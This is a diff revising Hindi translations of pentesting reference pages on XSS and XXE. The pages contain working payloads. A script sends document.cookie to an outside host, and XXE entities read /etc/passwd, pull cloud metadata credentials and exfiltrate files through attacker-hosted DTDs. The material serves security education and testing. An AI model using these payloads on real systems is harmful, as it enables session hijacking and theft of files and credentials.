**जावास्क्रिप्ट नई पंक्तियाँ (से** [**जावास्क्रिप्ट नई पंक्ति**](./#javascript-new-lines) **कल)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -738,7 +738,7 @@ top[8680439..toString(30)](1)
````
## **DOM कमजोरियाँ**
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे कि `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
**DOM कमजोरियों के विस्तृत विवरण के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के बारे में**](dom-xss.md)**:**
{{#ref}}
@ -748,11 +748,11 @@ dom-xss.md
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** का विस्तृत **व्याख्या** मिलेगी।\
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
### सेल्फ-XSS को अपग्रेड करना
### Self-XSS को अपग्रेड करना
### कुकी XSS
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक सेल्फ-XSS होता है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -762,13 +762,13 @@ dom-xss.md
### अपने सत्र को व्यवस्थापक को भेजना
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि सेल्फ XSS उपयोगकर्ता के प्रोफ़ाइल में है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
शायद एक उपयोगकर्ता अपने प्रोफ़ाइल को व्यवस्थापक के साथ साझा कर सकता है और यदि self XSS उपयोगकर्ता के प्रोफ़ाइल के अंदर है और व्यवस्थापक इसे एक्सेस करता है, तो वह कमजोरियों को ट्रिगर करेगा।
### सत्र मिररिंग
यदि आप कुछ सेल्फ XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
आप **व्यवस्थापक को आपके सेल्फ XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
## अन्य बायपास
@ -825,18 +825,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS with header injection in a 302 response
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने**ी कोशिश कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
यदि आप पाते हैं कि आप **302 Redirect प्रतिक्रिया में हेडर इंजेक्ट कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने**े लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP प्रतिक्रिया स्थिति कोड 302 होने पर HTTP प्रतिक्रिया शरीर को व्याख्यायित नहीं करते हैं, इसलिए केवल एक क्रॉस-साइट स्क्रिप्टिंग पेलोड बेकार है।
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS payload को body के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप कैसे स्थान हेडर के अंदर कई प्रोटोकॉल का परीक्षण कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को XSS पेलोड को शरीर के अंदर निरीक्षण और निष्पादित करने की अनुमति देता है।\
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली स्थान हेडर_, `resource://`
### केवल अक्षर, संख्या और बिंदु
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
यदि आप यह संकेत देने में सक्षम हैं कि JavaScript **निष्पादित** होने वाला **callback** उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](./#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
### XSS के लिए मान्य `<script>` Content-Types
### XSS के लिए मान्य `<script>` सामग्री-प्रकार
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **content-type** के साथ स्क्रिप्ट लोड करने की कोशिश करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
(से [**यहां**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) यदि आप एक **सामग्री-प्रकार** के साथ स्क्रिप्ट लोड करने का प्रयास करते हैं जैसे `application/octet-stream`, तो Chrome निम्नलिखित त्रुटि फेंकेगा:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -951,7 +951,7 @@ import { partition } from "lodash"
chrome-cache-to-xss.md
{{#endref}}
### XS जेल से Escape
### XS जेल से भागना
यदि आपके पास उपयोग करने के लिए केवल सीमित सेट के अक्षर हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जांच करें:
```javascript
@ -993,7 +993,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require` को अप्रत्यक्ष रूप से एक्सेस करना
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, जैसे:
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल को Node.js द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, इस तरह:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1267,7 +1267,7 @@ steal-info-js.md
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> आप **JavaScript से कुकीज़ तक पहुँच नहीं पाएंगे** यदि कुकी में HTTPOnly ध्वज सेट किया गया है। लेकिन यहाँ आपके पास [इस सुरक्षा को बायपास करने के कुछ तरीके हैं](../hacking-with-cookies/#httponly) यदि आप भाग्यशाली हैं।
> यदि HTTPOnly ध्वज कुकी में सेट है, तो आप **JavaScript से कुकीज़ तक पहुँच नहीं पाएंगे**। लेकिन यहाँ आपके पास [इस सुरक्षा को बायपास करने के कुछ तरीके हैं](../hacking-with-cookies/#httponly) यदि आप भाग्यशाली हैं।
### पृष्ठ सामग्री चुराना
```javascript
@ -1425,7 +1425,9 @@ shadow-dom.md
### पॉलीग्लॉट्स
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### ब्लाइंड XSS पेलोड्स
@ -1471,7 +1473,7 @@ shadow-dom.md
```
### Regex - छिपी हुई सामग्री तक पहुँच
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से यह सीखना संभव है कि भले ही कुछ मान JS से गायब हो जाएँ, फिर भी उन्हें विभिन्न वस्तुओं में JS विशेषताओं में ढूंढना संभव है। उदाहरण के लिए, REGEX का एक इनपुट इसे ढूंढना संभव है, भले ही REGEX के इनपुट का मान हटा दिया गया हो:
From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. For example, an input of a REGEX is still possible to find it after the value of the input of the regex was removed:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1488,15 +1490,17 @@ console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
```
### ब्रूट-फोर्स सूची
### Brute-Force List
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS अन्य कमजोरियों का दुरुपयोग
### मार्कडाउन में XSS
### Markdown में XSS
क्या आप ऐसा मार्कडाउन कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
क्या आप ऐसा Markdown कोड इंजेक्ट कर सकते हैं जो रेंडर होगा? शायद आप XSS प्राप्त कर सकते हैं! जांचें:
{{#ref}}
xss-in-markdown.md

View File

@ -4,19 +4,19 @@
## XML Basics
XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक रूप से नामित टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद।
XML एक मार्कअप भाषा है जिसे डेटा संग्रहण और परिवहन के लिए डिज़ाइन किया गया है, जिसमें एक लचीली संरचना है जो वर्णनात्मक नाम वाले टैग के उपयोग की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग के सेट तक सीमित नहीं है। JSON के उदय के साथ XML का महत्व कम हुआ है, इसके प्रारंभिक AJAX प्रौद्योगिकी में भूमिका के बावजूद।
- **Entities के माध्यम से डेटा प्रतिनिधित्व**: XML में entities डेटा का प्रतिनिधित्व करने की अनुमति देती हैं, जिसमें विशेष वर्ण जैसे `&lt;` और `&gt;` शामिल हैं, जो `<` और `>` के अनुरूप हैं ताकि XML के टैग सिस्टम के साथ संघर्ष से बचा जा सके।
- **XML तत्वों की परिभाषा**: XML तत्व प्रकारों की परिभाषा की अनुमति देता है, यह बताते हुए कि तत्वों को कैसे संरचित किया जाना चाहिए और उनमें क्या सामग्री हो सकती है, जो किसी भी प्रकार की सामग्री से लेकर विशिष्ट बाल तत्वों तक हो सकती है।
- **डॉक्यूमेंट टाइप डेफिनिशन (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
- **डॉक्यूमेंट टाइप परिभाषा (DTD)**: DTDs XML में दस्तावेज़ की संरचना और इसमें शामिल डेटा के प्रकारों को परिभाषित करने में महत्वपूर्ण हैं। ये आंतरिक, बाहरी, या संयोजन हो सकते हैं, यह मार्गदर्शन करते हुए कि दस्तावेज़ों को कैसे स्वरूपित और मान्य किया जाना चाहिए।
- **कस्टम और बाहरी Entities**: XML DTD के भीतर लचीले डेटा प्रतिनिधित्व के लिए कस्टम entities बनाने का समर्थन करता है। बाहरी entities, जिन्हें एक URL के साथ परिभाषित किया गया है, सुरक्षा चिंताओं को उठाती हैं, विशेष रूप से XML External Entity (XXE) हमलों के संदर्भ में, जो XML पार्सर्स द्वारा बाहरी डेटा स्रोतों को संभालने के तरीके का लाभ उठाते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पारंपरिक विधियाँ पार्सर सुरक्षा उपायों के कारण विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
- **पैरामीटर Entities के साथ XXE पहचान**: XXE कमजोरियों का पता लगाने के लिए, विशेष रूप से जब पार्सर सुरक्षा उपायों के कारण पारंपरिक विधियाँ विफल हो जाती हैं, XML पैरामीटर entities का उपयोग किया जा सकता है। ये entities आउट-ऑफ-बैंड पहचान तकनीकों की अनुमति देती हैं, जैसे कि DNS लुकअप या HTTP अनुरोधों को नियंत्रित डोमेन पर ट्रिगर करना, ताकि कमजोरियों की पुष्टि की जा सके।
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Main attacks
[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**इनमें से अधिकांश हमलों का परीक्षण शानदार Portswiggers XEE प्रयोगशालाओं का उपयोग करके किया गया था: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### New Entity test
@ -43,7 +43,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
```
![](<../images/image (86).png>)
यह दूसरा मामला एक फ़ाइल निकालने के लिए उपयोगी होना चाहिए यदि वेब सर्वर PHP का उपयोग कर रहा है (यह पोर्टस्विगर्स प्रयोगशालाओं का मामला नहीं है)
यह दूसरा मामला एक फ़ाइल निकालने के लिए उपयोगी होना चाहिए यदि वेब सर्वर PHP का उपयोग कर रहा है (यह Portswiggers प्रयोगशालाओं का मामला नहीं है)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -65,7 +65,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
### Directory listing
**Java** आधारित अनुप्रयोगों में **डायरेक्टरी की सामग्री को सूचीबद्ध करना** XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय बस डायरेक्टरी के लिए पूछना):
**Java** आधारित अनुप्रयोगों में **एक निर्देशिका की सामग्री को सूचीबद्ध करना** XXE के माध्यम से संभव हो सकता है, एक पेलोड के साथ जैसे (फाइल के बजाय बस निर्देशिका के लिए पूछना):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -75,7 +75,7 @@ XML एक मार्कअप भाषा है जिसे डेटा
```
### SSRF
एक XXE का उपयोग क्लाउड के अंदर SSRF का दुरुपयोग करने के लिए किया जा सकता है।
एक XXE का उपयोग क्लाउड के अंदर एक SSRF का दुरुपयोग करने के लिए किया जा सकता है।
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -107,11 +107,11 @@ XML एक मार्कअप भाषा है जिसे डेटा
इस DTD द्वारा निष्पादित चरणों में शामिल हैं:
1. **पैरामीटर एंटिटीज़ की परिभाषा:**
- एक XML पैरामीटर एंटिटी, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री पढ़ती है।
- एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, `%exfiltrate`, घोषित करती है। `%exfiltrate` एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
- एक XML पैरामीटर एंटिटी, `%file`, बनाई जाती है, जो `/etc/hostname` फ़ाइल की सामग्री को पढ़ती है।
- एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह गतिशील रूप से एक नई XML पैरामीटर एंटिटी, `%exfiltrate`, की घोषणा करती है। `%exfiltrate` एंटिटी को हमलावर के सर्वर पर HTTP अनुरोध करने के लिए सेट किया जाता है, जो `%file` एंटिटी की सामग्री को URL के क्वेरी स्ट्रिंग के भीतर पास करता है।
2. **एंटिटीज़ का निष्पादन:**
- `%eval` एंटिटी का उपयोग किया जाता है, जो `%exfiltrate` एंटिटी की गतिशील घोषणा के निष्पादन की ओर ले जाता है।
- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो फ़ाइल की सामग्री के साथ निर्दिष्ट URL पर HTTP अनुरोध को सक्रिय करता है।
- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जो निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर करता है।
हमलावर इस दुर्भावनापूर्ण DTD को अपने नियंत्रण में एक सर्वर पर होस्ट करता है, आमतौर पर एक URL जैसे `http://web-attacker.com/malicious.dtd` पर।
@ -121,11 +121,11 @@ XML एक मार्कअप भाषा है जिसे डेटा
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्यायित करता है, दुर्भावनापूर्ण DTD में उल्लिखित चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर निकालने का कारण बनता है।
यह पेलोड एक XML पैरामीटर एंटिटी `%xxe` को परिभाषित करता है और इसे DTD के भीतर शामिल करता है। जब इसे XML पार्सर द्वारा संसाधित किया जाता है, तो यह पेलोड हमलावर के सर्वर से बाहरी DTD लाता है। फिर पार्सर DTD को इनलाइन में व्याख्या करता है, दुर्भावनापूर्ण DTD में outlined चरणों को निष्पादित करता है और `/etc/hostname` फ़ाइल को हमलावर के सर्वर पर एक्सफिल्ट्रेट करता है।
### त्रुटि आधारित (बाहरी DTD)
**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के भीतर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
**इस मामले में हम सर्वर को एक दुर्भावनापूर्ण DTD लोड करने के लिए मजबूर करेंगे जो एक त्रुटि संदेश के अंदर एक फ़ाइल की सामग्री दिखाएगा (यह केवल तब मान्य है जब आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
एक XML पार्सिंग त्रुटि संदेश, जो `/etc/passwd` फ़ाइल की सामग्री को प्रकट करता है, एक दुर्भावनापूर्ण बाहरी दस्तावेज़ प्रकार परिभाषा (DTD) का उपयोग करके उत्पन्न किया जा सकता है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
@ -152,7 +152,7 @@ _**कृपया ध्यान दें कि बाहरी DTD हम
XML भाषा विनिर्देशन में एक छिद्र **त्रुटि संदेशों के माध्यम से संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाओं को मिलाता है**। यह समस्या बाहरी रूप से घोषित इकाइयों की आंतरिक पुनर्परिभाषा की अनुमति देती है, जिससे त्रुटि-आधारित XXE हमलों का निष्पादन संभव होता है। ऐसे हमले XML पैरामीटर इकाई की पुनर्परिभाषा का लाभ उठाते हैं, जिसे मूल रूप से एक बाहरी DTD में घोषित किया गया था, एक आंतरिक DTD के भीतर से। जब सर्वर द्वारा आउट-ऑफ-बैंड कनेक्शन अवरुद्ध होते हैं, तो हमलावरों को हमले को अंजाम देने के लिए स्थानीय DTD फ़ाइलों पर निर्भर रहना पड़ता है, जिसका उद्देश्य संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि उत्पन्न करना है।
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके XML पार्सिंग त्रुटि उत्पन्न कर सकता है जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करता है:
एक परिदृश्य पर विचार करें जहां सर्वर की फ़ाइल प्रणाली में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल है, जो `custom_entity` नामक एक इकाई को परिभाषित करती है। एक हमलावर एक हाइब्रिड DTD प्रस्तुत करके XML पार्सिंग त्रुटि उत्पन्न कर सकता है, जिससे `/etc/passwd` फ़ाइल की सामग्री प्रकट होती है:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -165,13 +165,13 @@ XML भाषा विनिर्देशन में एक छिद्र
%local_dtd;
]>
```
इस DTD द्वारा उल्लिखित चरणों को निष्पादित किया जाता है:
इस DTD द्वारा outlined steps को निष्पादित किया जाता है:
- `local_dtd` नामक XML पैरामीटर एंटिटी की परिभाषा सर्वर की फ़ाइल प्रणाली पर स्थित बाहरी DTD फ़ाइल को शामिल करती है।
- `custom_entity` XML पैरामीटर एंटिटी के लिए एक पुनर्परिभाषा होती है, जो मूल रूप से बाहरी DTD में परिभाषित की गई थी, ताकि [त्रुटि-आधारित XXE हमले](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
- `local_dtd` एंटिटी का उपयोग करके, बाहरी DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` को शामिल किया जाता है। इन क्रियाओं की श्रृंखला उस त्रुटि संदेश के उत्सर्जन को प्रेरित करती है जिसे हमले के लिए लक्षित किया गया है।
- `local_dtd` नामक XML parameter entity की परिभाषा सर्वर की filesystem पर स्थित external DTD फ़ाइल को शामिल करती है।
- `custom_entity` XML parameter entity के लिए एक पुनर्परिभाषा होती है, जो मूल रूप से external DTD में परिभाषित की गई थी, ताकि एक [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को संलग्न किया जा सके। यह पुनर्परिभाषा एक parsing error को उत्पन्न करने के लिए डिज़ाइन की गई है, जो `/etc/passwd` फ़ाइल की सामग्री को उजागर करती है।
- `local_dtd` entity का उपयोग करके, external DTD को संलग्न किया जाता है, जिसमें नए परिभाषित `custom_entity` को शामिल किया जाता है। इस क्रियाओं के अनुक्रम से exploit द्वारा लक्षित error message का उत्सर्जन होता है।
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक एंटिटी होती है।
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप वातावरण का उपयोग करने वाले सिस्टम अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD रखते हैं जिसमें `ISOamso` नामक एक entity होती है।
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,7 +188,7 @@ XML भाषा विनिर्देशन में एक छिद्र
```
![](<../images/image (625).png>)
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **इंस्टॉल करके** कर सकते हैं कि सर्वर कौन सा **OS / सॉफ़्टवेयर** उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** की खोज करें, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs** की एक सूची **इकट्ठा करें** और **जांचें** कि क्या इनमें से कोई भी मौजूद है:
चूंकि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD ढूंढना होगा**। आप यह **कर सकते हैं** कि **सर्वर द्वारा उपयोग किए जा रहे समान OS / सॉफ़्टवेयर को स्थापित करें** और **कुछ डिफ़ॉल्ट DTDs की खोज करें**, या **सिस्टम के अंदर डिफ़ॉल्ट DTDs की एक सूची प्राप्त करें** और **जांचें** कि क्या उनमें से कोई मौजूद है:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -201,9 +201,11 @@ XML भाषा विनिर्देशन में एक छिद्र
निम्नलिखित शानदार github repo में आप **सिस्टम में मौजूद DTDs के पथ** पा सकते हैं:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम की Docker छवि** है, तो आप उसी repo के टूल का उपयोग करके **छवि** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs** का पथ **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
इसके अलावा, यदि आपके पास **पीड़ित सिस्टम की Docker छवि** है, तो आप उसी repo के टूल का उपयोग करके **छवि** को **स्कैन** कर सकते हैं और **सिस्टम के अंदर मौजूद DTDs**े पथ को **खोज** सकते हैं। जानने के लिए [github का Readme](https://github.com/GoSecure/dtd-finder) पढ़ें।
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -223,7 +225,7 @@ Testing 0 entities : []
इस भेद्यता का परीक्षण करने के लिए, एक **XXE पेलोड वाला Microsoft Office फ़ाइल बनाना आवश्यक है**। पहला कदम एक खाली निर्देशिका बनाना है जिसमें दस्तावेज़ को अनज़िप किया जा सके।
एक बार जब दस्तावेज़ अनज़िप हो जाता है, तो `./unzipped/word/document.xml` पर स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट संपादक (जैसे vim) में संपादित किया जाना चाहिए। XML को इच्छित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, जो अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
एक बार जब दस्तावेज़ अनज़िप हो जाता है, तो `./unzipped/word/document.xml` में स्थित XML फ़ाइल को खोला जाना चाहिए और एक पसंदीदा टेक्स्ट संपादक (जैसे vim) में संपादित किया जाना चाहिए। XML को इच्छित XXE पेलोड को शामिल करने के लिए संशोधित किया जाना चाहिए, जो अक्सर एक HTTP अनुरोध के साथ शुरू होता है।
संशोधित XML पंक्तियों को दो रूट XML ऑब्जेक्ट्स के बीच डाला जाना चाहिए। URL को अनुरोधों के लिए मॉनिटर करने योग्य URL से बदलना महत्वपूर्ण है।
@ -233,7 +235,7 @@ Testing 0 entities : []
### Jar: protocol
